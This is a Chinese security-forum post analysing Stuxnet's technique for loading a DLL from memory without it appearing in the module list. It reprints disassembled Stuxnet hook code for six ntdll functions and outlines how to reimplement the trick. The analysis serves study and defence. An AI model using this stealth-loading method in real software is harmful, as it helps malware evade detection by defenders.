[原创]A了Stuxnet的加载DLL代码--从内存中加载某个DLL
Stuxnet出来很久很久了,之前看过分析文档,觉得它的加载DLL的方式比较有意思,一直没有时间来整,近段时间比较空闲,于是就有了这篇文章
首先,Stuxnet加载DLL的方式,不是传统的PE LOADER,而是将一片内容重新映射,这样做的效果就是,映射过后,这个DLL没有出现在模块列表中,但是可以GetProcAddress获得DLL的导出函数,Stuxnet调用15号导出函数就是这么干的。
Stuxnet的做法如下:
HOOK了6个ntdll的函数,分别为:
ZwCreateSection ZwClose ZwMapViewOfSection ZwOpenFile ZwQueryAttributesFile ZwQuerySection
这6个函数在LoadLibray执行中调用。
在分析6个HOOK函数时,首先要知道的是:
ZwCreateSection后MapViewOfFile,不ZwClose,直接UnMapViewOfFile,那么第二次Map的时候,返回的就是上次映射的内存,我觉得这就是Stuxnet这种调用方式的核心。
在调试Stuxnet过程中,依次对这几个函数下断点,可以发现LoadLibraryW有这样的执行顺序:
1.查找文件(ZwQueryAttributesFile)
2.打开文件(ZwOpenFile)
3.创建Section(ZwCreateSection)
4.填充某些信息(ZwQuerySection)
5.关闭文件(ZwClose)
6.映射内存(ZwMapViewOfSection)
7.关闭section(ZwClose)
HOOK上面这些函数,Stuxnet还准备了:一个假的文件句柄,一个没有Close的Section句柄,以及QuerySection需要的数据
Stuxnet HOOK写得不错,直接把一段Shellcode考到NTDLL中,统一了HOOK的入口,在入口中再判断,跳转到对应的HOOK流程,如下:
.text:10001B87 loc_10001B87: ; DATA XREF: sub_100017F5+108o .text:10001B87 ; .text:off_10001AB2o .text:10001B87 pop edx .text:10001B88 test dl, dl .text:10001B8A jz short loc_10001BB1 ; ZwMapViewOfSection .text:10001B8C dec dl .text:10001B8E jz loc_10001C16 ; ZwCreateSection .text:10001B94 dec dl .text:10001B96 jz loc_10001C57 ; ZwOpenFile .text:10001B9C dec dl .text:10001B9E jz loc_10001CA2 ; ZwClose .text:10001BA4 dec dl .text:10001BA6 jz loc_10001CEC ; ZwQueryAttributesFile .text:10001BAC jmp loc_10001D3D ; ZwQuerySection
首先是 ZwQueryAttributesFile
.text:10001CF5 push eax .text:10001CF6 push edx .text:10001CF7 push edi .text:10001CF8 mov edi, [esp+14h] .text:10001CFC call CompareName .text:10001D01 pop edi .text:10001D02 pop edx .text:10001D03 test eax, eax .text:10001D05 jz short loc_10001D1A .text:10001D07 pop eax .text:10001D08 test edx, edx .text:10001D0A jz short loc_10001D17 .text:10001D0C mov edx, [esp+0Ch] .text:10001D10 [COLOR="red"] mov dword ptr [edx+20h], 80h[/COLOR] .text:10001D17 .text:10001D17 loc_10001D17: ; CODE XREF: .text:10001D0Aj .text:10001D17 xor eax, eax .text:10001D19 retn .text:10001D1A ; --------------------------------------------------------------------------- .text:10001D1A .text:10001D1A loc_10001D1A: ; CODE XREF: .text:10001D05j .text:10001D1A pop eax .text:10001D1B .text:10001D1B loc_10001D1B: ; CODE XREF: .text:10001CF3j .text:10001D1B push edx .text:10001D1C call sub_10001DF1 .text:10001D21 cmp dword ptr [edx+4], 0 .text:10001D25 jnz short loc_10001D30 .text:10001D27 pop edx .text:10001D28 lea edx, [esp+8] .text:10001D2C int 2Eh ; DOS 2+ internal - EXECUTE COMMAND .text:10001D2C ; DS:SI -> counted CR-terminated command string .text:10001D2E jmp short locret_10001D3C .text:10001D30 ; --------------------------------------------------------------------------- .text:10001D30 .text:10001D30 loc_10001D30: ; CODE XREF: .text:10001D25j .text:10001D30 pop edx .text:10001D31 lea edx, [esp+8] .text:10001D35 call large dword ptr fs:0C0h .text:10001D3C .text:10001D3C locret_10001D3C: ; CODE XREF: .text:10001D2Ej .text:10001D3C retn
执行流程很明了,判断文件名,如果是的话,直接FileInformation->FileAttributes=0x80;
否则,调用int 2e,执行原来的流程
ZwOpenFile
.text:10001C60 push eax .text:10001C61 push edi .text:10001C62 mov edi, [esp+18h] .text:10001C66 call CompareName .text:10001C6B mov edx, eax .text:10001C6D pop edi .text:10001C6E pop eax .text:10001C6F test edx, edx .text:10001C71 jz short loc_10001C80 .text:10001C73 mov eax, [esp+8] .text:10001C77 mov dword ptr [eax], 0AE1982AEh .text:10001C7D xor eax, eax .text:10001C7F retn .text:10001C80 ; --------------------------------------------------------------------------- .text:10001C80 .text:10001C80 loc_10001C80: ; CODE XREF: .text:10001C5Ej .text:10001C80 ; .text:10001C71j .text:10001C80 push edx .text:10001C81 call sub_10001DF1 .text:10001C86 cmp dword ptr [edx+4], 0 .text:10001C8A jnz short loc_10001C95 .text:10001C8C pop edx .text:10001C8D lea edx, [esp+8] .text:10001C91 int 2Eh ; DOS 2+ internal - EXECUTE COMMAND .text:10001C91 ; DS:SI -> counted CR-terminated command string .text:10001C93 jmp short locret_10001CA1 .text:10001C95 ; --------------------------------------------------------------------------- .text:10001C95 .text:10001C95 loc_10001C95: ; CODE XREF: .text:10001C8Aj .text:10001C95 pop edx .text:10001C96 lea edx, [esp+8] .text:10001C9A call large dword ptr fs:0C0h .text:10001CA1 .text:10001CA1 locret_10001CA1: ; CODE XREF: .text:10001C93j .text:10001CA1 retn .text:10001CA2 ; --------------------------------------------------------------------------- .text:10001CA2 .text:10001CA2 loc_10001CA2: ; CODE XREF: .text:10001B9Ej .text:10001CA2 [COLOR="Red"]cmp dword ptr [esp+8], 0AE1982AEh[/COLOR] .text:10001CAA jnz short loc_10001CAF .text:10001CAC xor eax, eax .text:10001CAE retn
同理,判断是否是要打开的文件,如果是,则返回假文件句柄
ZwCreateSection
.text:10001C16 [COLOR="red"]cmp dword ptr [esp+20h], 0AE1982AEh[/COLOR].text:10001C1E jnz short loc_10001C35 .text:10001C20 call GetFakeData .text:10001C25 test edx, edx .text:10001C27 jz short loc_10001C35 .text:10001C29 mov edx, [edx+8] .text:10001C2C mov eax, [esp+8] [COLOR="red"].text:10001C30 mov [eax], edx[/COLOR] .text:10001C32 xor eax, eax .text:10001C34 retn .text:10001C35 ; --------------------------------------------------------------------------- .text:10001C35 .text:10001C35 loc_10001C35: ; CODE XREF: .text:10001C1Ej .text:10001C35 ; .text:10001C27j .text:10001C35 push edx .text:10001C36 call sub_10001DF1 .text:10001C3B cmp dword ptr [edx+4], 0 .text:10001C3F jnz short loc_10001C4A .text:10001C41 pop edx .text:10001C42 lea edx, [esp+8] .text:10001C46 int 2Eh ; DOS 2+ internal - EXECUTE COMMAND .text:10001C46 ; DS:SI -> counted CR-terminated command string .text:10001C48 jmp short locret_10001C56 .text:10001C4A ; --------------------------------------------------------------------------- .text:10001C4A .text:10001C4A loc_10001C4A: ; CODE XREF: .text:10001C3Fj .text:10001C4A pop edx .text:10001C4B lea edx, [esp+8] .text:10001C4F call large dword ptr fs:0C0h .text:10001C56 .text:10001C56 locret_10001C56: ; CODE XREF: .text:10001C48j .text:10001C56 retn
首先,判断文件句柄是不是假文件句柄,如果是的话,返回之前没有Close的Section句柄
ZwQuerySection
:10001D3D call GetFakeData .text:10001D42 test edx, edx .text:10001D44 push edx .text:10001D45 jz short loc_10001D8C .text:10001D47 mov edx, [edx+8] .text:10001D4A [COLOR="red"]cmp edx, [esp+0Ch][/COLOR] .text:10001D4E jnz short loc_10001D8C .text:10001D50 cmp dword ptr [esp+10h], 1 .text:10001D55 jnz short loc_10001D8C [COLOR="red"].text:10001D57 cmp dword ptr [esp+18h], 30h .text:10001D5C jl short loc_10001D85[/COLOR] .text:10001D5E pop edx .text:10001D5F push ecx .text:10001D60 push esi .text:10001D61 push edi [COLOR="red"].text:10001D62 lea esi, [edx+50h] .text:10001D65 mov edi, [esp+1Ch] .text:10001D69 mov ecx, 30h .text:10001D6E rep movsb[/COLOR] .text:10001D70 pop edi .text:10001D71 pop esi .text:10001D72 pop ecx .text:10001D73 mov eax, [esp+18h] .text:10001D77 cmp eax, 0 .text:10001D7A jz short loc_10001D82 .text:10001D7C mov dword ptr [eax], 30h .text:10001D82 .text:10001D82 loc_10001D82: ; CODE XREF: .text:10001D7Aj .text:10001D82 xor eax, eax .text:10001D84 retn .text:10001D85 ; --------------------------------------------------------------------------- .text:10001D85 .text:10001D85 loc_10001D85: ; CODE XREF: .text:10001D5Cj .text:10001D85 pop edx .text:10001D86 [COLOR="red"]mov eax, 0C000000Dh[/COLOR] .text:10001D8B retn .text:10001D8C loc_10001D8C: ; CODE XREF: .text:10001D45j .text:10001D8C ; .text:10001D4Ej ... .text:10001D8C pop edx .text:10001D8D push edx .text:10001D8E call sub_10001DF1 .text:10001D93 cmp dword ptr [edx+4], 0 .text:10001D97 jnz short loc_10001DA2 .text:10001D99 pop edx .text:10001D9A lea edx, [esp+8] .text:10001D9E int 2Eh ; DOS 2+ internal - EXECUTE COMMAND .text:10001D9E ; DS:SI -> counted CR-terminated command string .text:10001DA0 jmp short locret_10001DAE .text:10001DA2 ; --------------------------------------------------------------------------- .text:10001DA2 .text:10001DA2 loc_10001DA2: ; CODE XREF: .text:10001D97j .text:10001DA2 pop edx .text:10001DA3 lea edx, [esp+8] .text:10001DA7 call large dword ptr fs:0C0h .text:10001DAE .text:10001DAE locret_10001DAE: ; CODE XREF: .text:10001DA0j .text:10001DAE retn
判断Size是不是0x30,不是的话,返回0C000000Dh,如果section句柄是指定的句柄,是的话,将内存中的PE头相关信息复制到对应的参数
ZwMapViewOfSection
.text:10001BB1 call GetFakeData .text:10001BB6 test edx, edx .text:10001BB8 jz short loc_10001BCD .text:10001BBA push edx .text:10001BBB mov edx, [edx+8] .text:10001BBE cmp edx, [esp+0Ch] .text:10001BC2 jnz short loc_10001BCC [COLOR="red"].text:10001BC4 mov dword ptr [esp+30h], 40h[/COLOR] .text:10001BCC .text:10001BCC loc_10001BCC: ; CODE XREF: .text:10001BC2j .text:10001BCC pop edx .text:10001BCD .text:10001BCD loc_10001BCD: ; CODE XREF: .text:10001BB8j .text:10001BCD push edx .text:10001BCE call sub_10001DF1 .text:10001BD3 cmp dword ptr [edx+4], 0 .text:10001BD7 jnz short loc_10001BE2 .text:10001BD9 pop edx .text:10001BDA lea edx, [esp+8] .text:10001BDE int 2Eh ; DOS 2+ internal - EXECUTE COMMAND .text:10001BDE ; DS:SI -> counted CR-terminated command string .text:10001BE0 jmp short loc_10001BEE .text:10001BE2 ; --------------------------------------------------------------------------- .text:10001BE2 .text:10001BE2 loc_10001BE2: ; CODE XREF: .text:10001BD7j .text:10001BE2 pop edx .text:10001BE3 lea edx, [esp+8] .text:10001BE7 call large dword ptr fs:0C0h .text:10001BEE .text:10001BEE loc_10001BEE: ; CODE XREF: .text:10001BE0j .text:10001BEE test eax, eax .text:10001BF0 jnz short locret_10001C15 .text:10001BF2 call GetFakeData .text:10001BF7 test edx, edx .text:10001BF9 jz short loc_10001C13 .text:10001BFB mov edx, [edx+8] .text:10001BFE cmp edx, [esp+8] .text:10001C02 jnz short loc_10001C13 .text:10001C04 mov edx, [esp+10h] .text:10001C08 push edx .text:10001C09 call GetFakeData .text:10001C0E mov edx, [edx+0Ch] [COLOR="red"].text:10001C11 call edx[/COLOR];Fix Relocation .text:10001C13 .text:10001C13 loc_10001C13: ; CODE XREF: .text:10001BF9j .text:10001C13 ; .text:10001C02j .text:10001C13 xor eax, eax .text:10001C15 .text:10001C15 locret_10001C15: ; CODE XREF: .text:10001BF0j .text:10001C15 retn
如果是指定section句柄,则修改内存属性为PAGE_EXECUTE_WRITECOPY,接着调用原来函数,再一次判断section句柄,如果匹配,则修正重定位表(测试的时候,忽略了重定位,结果各种加载不上。。。)
最后就是ZwClose
.text:10001CA2 [COLOR="red"] cmp dword ptr [esp+8], 0AE1982AEh[/COLOR].text:10001CAA jnz short loc_10001CAF .text:10001CAC xor eax, eax .text:10001CAE retn .text:10001CAF ; --------------------------------------------------------------------------- .text:10001CAF .text:10001CAF loc_10001CAF: ; CODE XREF: .text:10001CAAj .text:10001CAF call GetFakeData .text:10001CB4 test edx, edx .text:10001CB6 jz short loc_10001CCA .text:10001CB8 push eax .text:10001CB9 mov eax, [esp+0Ch] .text:10001CBD [COLOR="red"] cmp [edx+8], eax[/COLOR].text:10001CC0 jnz short loc_10001CC9 .text:10001CC2 mov dword ptr [edx+8], 0 .text:10001CC9 .text:10001CC9 loc_10001CC9: ; CODE XREF: .text:10001CC0j .text:10001CC9 pop eax .text:10001CCA .text:10001CCA loc_10001CCA: ; CODE XREF: .text:10001CB6j .text:10001CCA push edx .text:10001CCB call sub_10001DF1 .text:10001CD0 cmp dword ptr [edx+4], 0 .text:10001CD4 jnz short loc_10001CDF .text:10001CD6 pop edx .text:10001CD7 lea edx, [esp+8] .text:10001CDB int 2Eh ; DOS 2+ internal - EXECUTE COMMAND .text:10001CDB ; DS:SI -> counted CR-terminated command string .text:10001CDD jmp short locret_10001CEB .text:10001CDF ; --------------------------------------------------------------------------- .text:10001CDF .text:10001CDF loc_10001CDF: ; CODE XREF: .text:10001CD4j .text:10001CDF pop edx .text:10001CE0 lea edx, [esp+8] .text:10001CE4 call large dword ptr fs:0C0h .text:10001CEB .text:10001CEB locret_10001CEB: ; CODE XREF: .text:10001CDDj .text:10001CEB retn
判断是不是文件句柄,如果是的话,直接返回SUCCESS,判断是不是section句柄,如果是的话,将保存的句柄赋0值,然后调用原来的函数关闭
以上就是HOOK的分析过程,重写的思路可以简化为:
1.将某个DLL文件读到内存中,然后按照内存对齐,映射为某片内存,然后反映射。
2.HOOK 上面6个函数
3.调用LoadLibraryW,参数为一个硬盘中不存在的文件
在重写过程中,我仿造Stuxnet这种统一HOOK入口的方式,碰到一个蛋疼的问题,读取参数读取错误,导致堆栈混乱,为了解决这个问题,我给每个函数都加了一个参数,详细见代码。。


附件就是一个实例工程和Stuxnet的IDB,代码很粗糙,已知不足如下:
1.UNICODESTRING的比较,我直接写死了
2.修复重定位表时,只考虑了IMAGE_REL_BASED_HIGHLOW
还有N多BUG,等着各路神人拍砖了
最后,这种调用方式,在最后一步调用LoadLibrayW的时候,不能加路径,只能文件名!加路径的话就OVER了!
我不知道之前是否有牛人分析过,此贴意在抛钻引玉,欢迎拍砖。
